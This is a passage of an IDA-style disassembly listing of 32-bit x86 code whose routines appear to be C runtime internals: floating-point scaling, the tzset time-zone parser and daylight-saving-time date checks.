loc_43B461:				; CODE XREF: sub_43B250+206j
		cmp	[ebp+var_34], 0
		jle	short loc_43B4E3
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_24]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		lea	edx, [ebp+ecx+var_14]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	edx, [ebp+var_3C]
		xor	eax, eax
		mov	ax, [edx]
		imul	ecx, eax
		mov	[ebp+var_44], ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		push	ecx
		call	sub_438200
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_43B4CC
		mov	edx, [ebp+var_28]
		mov	ax, word ptr [ebp+edx+var_10]
		add	ax, 1
		mov	ecx, [ebp+var_28]
		mov	word ptr [ebp+ecx+var_10], ax


loc_43B4CC:				; CODE XREF: sub_43B250+266j
		mov	edx, [ebp+var_24]
		add	edx, 2
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		jmp	loc_43B458
; ---------------------------------------------------------------------------


loc_43B4E3:				; CODE XREF: sub_43B250+215j
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		mov	[ebp+var_28], ecx
		jmp	loc_43B429
; ---------------------------------------------------------------------------


loc_43B4F1:				; CODE XREF: sub_43B250+1E6j
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 3FFEh
		mov	word ptr [ebp+var_30], dx


loc_43B4FE:				; CODE XREF: sub_43B250+2DBj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jle	short loc_43B52D
		mov	ecx, [ebp+var_C]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_43B52D
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_4382F0
		add	esp, 4
		mov	ax, word ptr [ebp+var_30]
		sub	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_43B4FE
; ---------------------------------------------------------------------------


loc_43B52D:				; CODE XREF: sub_43B250+2B4j
					; sub_43B250+2C1j
		movsx	ecx, word ptr [ebp+var_30]
		test	ecx, ecx
		jg	short loc_43B58D
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 1
		mov	word ptr [ebp+var_30], dx


loc_43B541:				; CODE XREF: sub_43B250+32Aj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jge	short loc_43B57C
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFh
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_43B562
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_43B562:				; CODE XREF: sub_43B250+307j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_438350
		add	esp, 4
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		jmp	short loc_43B541
; ---------------------------------------------------------------------------


loc_43B57C:				; CODE XREF: sub_43B250+2F7j
		cmp	[ebp+var_4], 0
		jz	short loc_43B58D
		mov	dx, word ptr [ebp+var_14]
		or	dl, 1
		mov	word ptr [ebp+var_14], dx


loc_43B58D:				; CODE XREF: sub_43B250+2E3j
					; sub_43B250+330j
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		cmp	eax, 8000h
		jg	short loc_43B5AD
		mov	ecx, [ebp+var_14]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_43B60E


loc_43B5AD:				; CODE XREF: sub_43B250+34Aj
		cmp	[ebp+var_14+2],	0FFFFFFFFh
		jnz	short loc_43B605
		mov	[ebp+var_14+2],	0
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_43B5FA
		mov	[ebp+var_10+2],	0
		mov	edx, [ebp+var_C+2]
		and	edx, 0FFFFh
		cmp	edx, 0FFFFh
		jnz	short loc_43B5EC
		mov	word ptr [ebp+var_C+2],	8000h
		mov	ax, word ptr [ebp+var_30]
		add	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_43B5F8
; ---------------------------------------------------------------------------


loc_43B5EC:				; CODE XREF: sub_43B250+386j
		mov	cx, word ptr [ebp+var_C+2]
		add	cx, 1
		mov	word ptr [ebp+var_C+2],	cx


loc_43B5F8:				; CODE XREF: sub_43B250+39Aj
		jmp	short loc_43B603
; ---------------------------------------------------------------------------


loc_43B5FA:				; CODE XREF: sub_43B250+36Ej
		mov	edx, [ebp+var_10+2]
		add	edx, 1
		mov	[ebp+var_10+2],	edx


loc_43B603:				; CODE XREF: sub_43B250:loc_43B5F8j
		jmp	short loc_43B60E
; ---------------------------------------------------------------------------


loc_43B605:				; CODE XREF: sub_43B250+361j
		mov	eax, [ebp+var_14+2]
		add	eax, 1
		mov	[ebp+var_14+2],	eax


loc_43B60E:				; CODE XREF: sub_43B250+35Bj
					; sub_43B250:loc_43B603j
		mov	ecx, [ebp+var_30]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jl	short loc_43B653
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		neg	edx
		sbb	edx, edx
		and	edx, 80000000h
		add	edx, 7FFF8000h
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	short loc_43B689
; ---------------------------------------------------------------------------


loc_43B653:				; CODE XREF: sub_43B250+3CDj
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+var_14+2]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax


loc_43B689:				; CODE XREF: sub_43B250+EFj
					; sub_43B250+122j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43B250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B690	proc near		; CODE XREF: sub_438500+914p
					; sub_439080+288p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, offset dword_4534C8
		sub	eax, 60h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 0
		jnz	short loc_43B6AC
		jmp	loc_43B74F
; ---------------------------------------------------------------------------


loc_43B6AC:				; CODE XREF: sub_43B690+15j
		cmp	[ebp+arg_4], 0
		jge	short loc_43B6C5
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, offset dword_453628
		sub	edx, 60h
		mov	[ebp+var_4], edx


loc_43B6C5:				; CODE XREF: sub_43B690+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_43B6D3
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_43B6D3:				; CODE XREF: sub_43B690+39j
					; sub_43B690+6Aj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_43B74F
		mov	ecx, [ebp+var_4]
		add	ecx, 54h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 7
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_4]
		sar	eax, 3
		mov	[ebp+arg_4], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_43B6FC
		jmp	short loc_43B6D3
; ---------------------------------------------------------------------------


loc_43B6FC:				; CODE XREF: sub_43B690+68j
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 8000h
		jl	short loc_43B73D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_10], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14+2]
		sub	eax, 1
		mov	[ebp+var_14+2],	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx


loc_43B73D:				; CODE XREF: sub_43B690+88j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43B250
		add	esp, 8
		jmp	short loc_43B6D3
; ---------------------------------------------------------------------------


loc_43B74F:				; CODE XREF: sub_43B690+17j
					; sub_43B690+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_43B690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B760	proc near		; CODE XREF: sub_439D20:loc_43A23Bp
		push	ebp
		mov	ebp, esp
		cmp	dword_4E9568, 0
		jnz	short loc_43B79B
		push	0Bh
		call	sub_425990
		add	esp, 4
		cmp	dword_4E9568, 0
		jnz	short loc_43B791
		call	sub_43B7C0
		mov	eax, dword_4E9568
		add	eax, 1
		mov	dword_4E9568, eax


loc_43B791:				; CODE XREF: sub_43B760+1Dj
		push	0Bh
		call	sub_425A30
		add	esp, 4


loc_43B79B:				; CODE XREF: sub_43B760+Aj
		pop	ebp
		retn
sub_43B760	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0Bh
		call	sub_425990
		add	esp, 4
		call	sub_43B7C0
		push	0Bh
		call	sub_425A30
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B7C0	proc near		; CODE XREF: sub_43B760+1Fp
					; .XComp0:0043B7ADp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		push	0Ch
		call	sub_425990
		add	esp, 4
		mov	dword_4E94B0, 0
		mov	dword_4534B8, 0FFFFFFFFh
		mov	eax, dword_4534B8
		mov	dword_4534A8, eax
		push	offset aTz	; "TZ"
		call	sub_43C420
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	loc_43B943
		push	0Ch
		call	sub_425A30
		add	esp, 4
		push	offset dword_4E94B8
		nop
		call	near ptr 2730000h
		cmp	eax, 0FFFFFFFFh
		jz	loc_43B93E
		mov	dword_4E94B0, 1
		mov	ecx, dword_4E94B8
		imul	ecx, 3Ch
		mov	dword_453410, ecx
		xor	edx, edx
		mov	dx, word_4E94FE
		test	edx, edx
		jz	short loc_43B869
		mov	eax, dword_4E950C
		imul	eax, 3Ch
		mov	ecx, dword_453410
		add	ecx, eax
		mov	dword_453410, ecx


loc_43B869:				; CODE XREF: sub_43B7C0+91j
		xor	edx, edx
		mov	dx, word_4E9552
		test	edx, edx
		jz	short loc_43B89E
		cmp	dword_4E9560, 0
		jz	short loc_43B89E
		mov	dword_453414, 1
		mov	eax, dword_4E9560
		sub	eax, dword_4E950C
		imul	eax, 3Ch
		mov	dword_453418, eax
		jmp	short loc_43B8B2
; ---------------------------------------------------------------------------


loc_43B89E:				; CODE XREF: sub_43B7C0+B4j
					; sub_43B7C0+BDj
		mov	dword_453414, 0
		mov	dword_453418, 0


loc_43B8B2:				; CODE XREF: sub_43B7C0+DCj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	3Fh
		mov	edx, off_45349C
		push	edx
		push	0FFFFFFFFh
		push	offset dword_4E94BC
		push	220h
		mov	eax, dword_4E92F4
		push	eax
		nop
		call	near ptr 290039Dh
		test	eax, eax
		jz	short loc_43B8EF
		cmp	[ebp+var_8], 0
		jnz	short loc_43B8EF
		mov	ecx, off_45349C
		mov	byte ptr [ecx+3Fh], 0
		jmp	short loc_43B8F8
; ---------------------------------------------------------------------------


loc_43B8EF:				; CODE XREF: sub_43B7C0+11Bj
					; sub_43B7C0+121j
		mov	edx, off_45349C
		mov	byte ptr [edx],	0


loc_43B8F8:				; CODE XREF: sub_43B7C0+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	3Fh
		mov	ecx, off_4534A0
		push	ecx
		push	0FFFFFFFFh
		push	offset dword_4E9510
		push	220h
		mov	edx, dword_4E92F4
		push	edx
		call	near ptr 290039Dh
		nop
		test	eax, eax
		jz	short loc_43B935
		cmp	[ebp+var_8], 0
		jnz	short loc_43B935
		mov	eax, off_4534A0
		mov	byte ptr [eax+3Fh], 0
		jmp	short loc_43B93E
; ---------------------------------------------------------------------------


loc_43B935:				; CODE XREF: sub_43B7C0+162j
					; sub_43B7C0+168j
		mov	ecx, off_4534A0
		mov	byte ptr [ecx],	0


loc_43B93E:				; CODE XREF: sub_43B7C0+67j
					; sub_43B7C0+173j
		jmp	loc_43BB67
; ---------------------------------------------------------------------------


loc_43B943:				; CODE XREF: sub_43B7C0+49j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_43B96D
		cmp	dword_4E9564, 0
		jz	short loc_43B97C
		mov	ecx, dword_4E9564
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jnz	short loc_43B97C


loc_43B96D:				; CODE XREF: sub_43B7C0+18Bj
		push	0Ch
		call	sub_425A30
		add	esp, 4
		jmp	loc_43BB67
; ---------------------------------------------------------------------------


loc_43B97C:				; CODE XREF: sub_43B7C0+194j
					; sub_43B7C0+1ABj
		push	2
		mov	eax, dword_4E9564
		push	eax
		call	sub_41F970
		add	esp, 8
		push	10Ch
		push	offset aTzset_c	; "tzset.c"
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41EDD0
		add	esp, 10h
		mov	dword_4E9564, eax
		cmp	dword_4E9564, 0
		jnz	short loc_43B9CD
		push	0Ch
		call	sub_425A30
		add	esp, 4
		jmp	loc_43BB67
; ---------------------------------------------------------------------------


loc_43B9CD:				; CODE XREF: sub_43B7C0+1FCj
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, dword_4E9564
		push	eax
		call	sub_422580
		add	esp, 8
		push	0Ch
		call	sub_425A30
		add	esp, 4
		push	3
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, off_45349C
		push	edx
		call	sub_421470
		add	esp, 0Ch
		mov	eax, off_45349C
		mov	byte ptr [eax+3], 0
		mov	ecx, [ebp+var_C]
		add	ecx, 3
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_43BA2D
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_43BA2D:				; CODE XREF: sub_43B7C0+259j
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_421570
		add	esp, 4
		imul	eax, 0E10h
		mov	dword_453410, eax


loc_43BA44:				; CODE XREF: sub_43B7C0+2AEj
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Bh
		jz	short loc_43BA65
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_43BA70
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_43BA70


loc_43BA65:				; CODE XREF: sub_43B7C0+28Dj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_43BA44
; ---------------------------------------------------------------------------


loc_43BA70:				; CODE XREF: sub_43B7C0+298j
					; sub_43B7C0+2A3j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Ah
		jnz	loc_43BB15
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_421570
		add	esp, 4
		imul	eax, 3Ch
		mov	ecx, dword_453410
		add	ecx, eax
		mov	dword_453410, ecx


loc_43BAA5:				; CODE XREF: sub_43B7C0+304j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_43BAC6
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_43BAC6
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_43BAA5
; ---------------------------------------------------------------------------


loc_43BAC6:				; CODE XREF: sub_43B7C0+2EEj
					; sub_43B7C0+2F9j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ah
		jnz	short loc_43BB15
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_421570
		add	esp, 4
		mov	edx, dword_453410
		add	edx, eax
		mov	dword_453410, edx


loc_43BAF4:				; CODE XREF: sub_43B7C0+353j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_43BB15
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_43BB15
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_43BAF4
; ---------------------------------------------------------------------------


loc_43BB15:				; CODE XREF: sub_43B7C0+2B9j
					; sub_43B7C0+30Fj ...
		cmp	[ebp+var_4], 0
		jz	short loc_43BB29
		mov	edx, dword_453410
		neg	edx
		mov	dword_453410, edx


loc_43BB29:				; CODE XREF: sub_43B7C0+359j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	dword_453414, ecx
		cmp	dword_453414, 0
		jz	short loc_43BB5E
		push	3
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, off_4534A0
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	ecx, off_4534A0
		mov	byte ptr [ecx+3], 0
		jmp	short loc_43BB67
; ---------------------------------------------------------------------------


loc_43BB5E:				; CODE XREF: sub_43B7C0+37Cj
		mov	edx, off_4534A0
		mov	byte ptr [edx],	0


loc_43BB67:				; CODE XREF: sub_43B7C0:loc_43B93Ej
					; sub_43B7C0+1B7j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43B7C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Bh
		call	sub_425990
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_43BBA0
		add	esp, 4
		mov	[ebp-4], eax
		push	0Bh
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BBA0	proc near		; CODE XREF: .XComp0:0043BB82p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453414, 0
		jnz	short loc_43BBB4
		xor	eax, eax
		jmp	loc_43BE96
; ---------------------------------------------------------------------------


loc_43BBB4:				; CODE XREF: sub_43BBA0+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_4534A8
		jnz	short loc_43BBD4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_4534B8
		jz	loc_43BD9B


loc_43BBD4:				; CODE XREF: sub_43BBA0+20j
		cmp	dword_4E94B0, 0
		jz	loc_43BD55
		xor	ecx, ecx
		mov	cx, word_4E9550
		test	ecx, ecx
		jnz	short loc_43BC49
		xor	edx, edx
		mov	dx, word_4E955E
		push	edx
		xor	eax, eax
		mov	ax, word_4E955C
		push	eax
		xor	ecx, ecx
		mov	cx, word_4E955A
		push	ecx
		xor	edx, edx
		mov	dx, word_4E9558
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4E9554
		push	eax
		xor	ecx, ecx
		mov	cx, word_4E9556
		push	ecx
		xor	edx, edx
		mov	dx, word_4E9552
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	sub_43BEA0
		add	esp, 2Ch
		jmp	short loc_43BC9A
; ---------------------------------------------------------------------------


loc_43BC49:				; CODE XREF: sub_43BBA0+4Cj
		xor	edx, edx
		mov	dx, word_4E955E
		push	edx
		xor	eax, eax
		mov	ax, word_4E955C
		push	eax
		xor	ecx, ecx
		mov	cx, word_4E955A
		push	ecx
		xor	edx, edx
		mov	dx, word_4E9558
		push	edx
		xor	eax, eax
		mov	ax, word_4E9556
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4E9552
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	sub_43BEA0
		add	esp, 2Ch


loc_43BC9A:				; CODE XREF: sub_43BBA0+A7j
		xor	ecx, ecx
		mov	cx, word_4E94FC
		test	ecx, ecx
		jnz	short loc_43BD02
		xor	edx, edx
		mov	dx, word_4E950A
		push	edx
		xor	eax, eax
		mov	ax, word_4E9508
		push	eax
		xor	ecx, ecx
		mov	cx, word_4E9506
		push	ecx
		xor	edx, edx
		mov	dx, word_4E9504
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4E9500
		push	eax
		xor	ecx, ecx
		mov	cx, word_4E9502
		push	ecx
		xor	edx, edx
		mov	dx, word_4E94FE
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_43BEA0
		add	esp, 2Ch
		jmp	short loc_43BD53
; ---------------------------------------------------------------------------


loc_43BD02:				; CODE XREF: sub_43BBA0+105j
		xor	edx, edx
		mov	dx, word_4E950A
		push	edx
		xor	eax, eax
		mov	ax, word_4E9508
		push	eax
		xor	ecx, ecx
		mov	cx, word_4E9506
		push	ecx
		xor	edx, edx
		mov	dx, word_4E9504
		push	edx
		xor	eax, eax
		mov	ax, word_4E9502
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4E94FE
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	sub_43BEA0
		add	esp, 2Ch


loc_43BD53:				; CODE XREF: sub_43BBA0+160j
		jmp	short loc_43BD9B
; ---------------------------------------------------------------------------


loc_43BD55:				; CODE XREF: sub_43BBA0+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	sub_43BEA0
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_43BEA0
		add	esp, 2Ch


loc_43BD9B:				; CODE XREF: sub_43BBA0+2Ej
					; sub_43BBA0:loc_43BD53j
		mov	edx, dword_4534AC
		cmp	edx, dword_4534BC
		jge	short loc_43BDF4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_4534AC
		jl	short loc_43BDC5
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_4534BC
		jle	short loc_43BDCC


loc_43BDC5:				; CODE XREF: sub_43BBA0+215j
		xor	eax, eax
		jmp	loc_43BE96
; ---------------------------------------------------------------------------


loc_43BDCC:				; CODE XREF: sub_43BBA0+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_4534AC
		jle	short loc_43BDF2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_4534BC
		jge	short loc_43BDF2
		mov	eax, 1
		jmp	loc_43BE96
; ---------------------------------------------------------------------------


loc_43BDF2:				; CODE XREF: sub_43BBA0+238j
					; sub_43BBA0+246j
		jmp	short loc_43BE37
; ---------------------------------------------------------------------------


loc_43BDF4:				; CODE XREF: sub_43BBA0+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_4534BC
		jl	short loc_43BE10
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_4534AC
		jle	short loc_43BE17


loc_43BE10:				; CODE XREF: sub_43BBA0+260j
		mov	eax, 1
		jmp	short loc_43BE96
; ---------------------------------------------------------------------------


loc_43BE17:				; CODE XREF: sub_43BBA0+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_4534BC
		jle	short loc_43BE37
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_4534AC
		jge	short loc_43BE37
		xor	eax, eax
		jmp	short loc_43BE96
; ---------------------------------------------------------------------------


loc_43BE37:				; CODE XREF: sub_43BBA0:loc_43BDF2j
					; sub_43BBA0+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_4534AC
		jnz	short loc_43BE82
		mov	eax, [ebp+var_4]
		cmp	eax, dword_4534B0
		jl	short loc_43BE7E
		mov	eax, 1
		jmp	short loc_43BE96
; ---------------------------------------------------------------------------


loc_43BE7E:				; CODE XREF: sub_43BBA0+2D5j
		xor	eax, eax
		jmp	short loc_43BE96
; ---------------------------------------------------------------------------


loc_43BE82:				; CODE XREF: sub_43BBA0+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4534C0
		jge	short loc_43BE94
		mov	eax, 1
		jmp	short loc_43BE96
; ---------------------------------------------------------------------------


loc_43BE94:				; CODE XREF: sub_43BBA0+2EBj
		xor	eax, eax


loc_43BE96:				; CODE XREF: sub_43BBA0+Fj
					; sub_43BBA0+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43BBA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BEA0	proc near		; CODE XREF: sub_43BBA0+9Fp
					; sub_43BBA0+F2p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 1
		jnz	loc_43BF7C
		mov	eax, [ebp+arg_8]
		and	eax, 3
		test	eax, eax
		jnz	short loc_43BEC9
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_453780[ecx*4]
		mov	[ebp+var_C], edx
		jmp	short loc_43BED6
; ---------------------------------------------------------------------------


loc_43BEC9:				; CODE XREF: sub_43BEA0+18j
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_4537B4[eax*4]
		mov	[ebp+var_C], ecx


loc_43BED6:				; CODE XREF: sub_43BEA0+27j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 46h
		imul	eax, 16Dh
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		sar	edx, 2
		lea	eax, [ecx+edx-0Dh]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_14]
		jg	short loc_43BF29
		mov	eax, [ebp+arg_14]
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_10]
		sub	ecx, 1
		imul	ecx, 7
		add	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_43BF3D
; ---------------------------------------------------------------------------


loc_43BF29:				; CODE XREF: sub_43BEA0+6Ej
		mov	edx, [ebp+arg_14]
		sub	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		imul	eax, 7
		add	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_43BF3D:				; CODE XREF: sub_43BEA0+87j
